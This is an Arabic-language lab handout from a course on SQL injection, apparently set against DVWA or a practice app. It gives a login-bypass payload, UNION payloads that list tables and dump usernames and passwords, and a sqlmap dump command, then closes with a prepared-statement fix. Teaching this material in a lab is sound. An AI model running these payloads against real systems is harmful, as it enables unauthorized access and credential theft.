انتقل إلى المحتوى الرئيسي

المختبر 6.2: حقن SQL - استغلال كامل

أهداف التعلم​

في نهاية هذا المختبر، ستكون قادرًا على:

  • فهم كيفية عمل حقن SQL
  • تجاوز المصادقة عبر حقن SQL
  • استخراج البيانات من قاعدة بيانات
  • استخدام SQLMap للأتمتة
  • حماية تطبيقاتك ضد حقن SQL

المدة المقدرة​

40 دقيقة

تطبيق الاختبار​

استخدم DVWA (تطبيق الويب المعرض للضعف الشديد) أو التطبيق المقدم.

التقنية الأساسية​

تجاوز المصادقة الكلاسيكي:

Username: admin' OR '1'='1' --
Password: (أي شيء)

الاستعلام الناتج:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '...'

النتيجة: الشرط دائمًا صحيح، تسجيل الدخول ناجح!

استخراج البيانات​

قائمة الجداول:

' UNION SELECT GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE() --

استخراج البيانات:

' UNION SELECT username, password FROM users --

SQLMap المؤتمت​

sqlmap -u "http://localhost/login.php" --data="username=admin&password=pass" --dump

استخراج تلقائي كامل!

الحماية​

كود آمن مع prepared statements:

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

مختبر تم تطويره في إطار دورة نظم التشغيل - الوحدة 6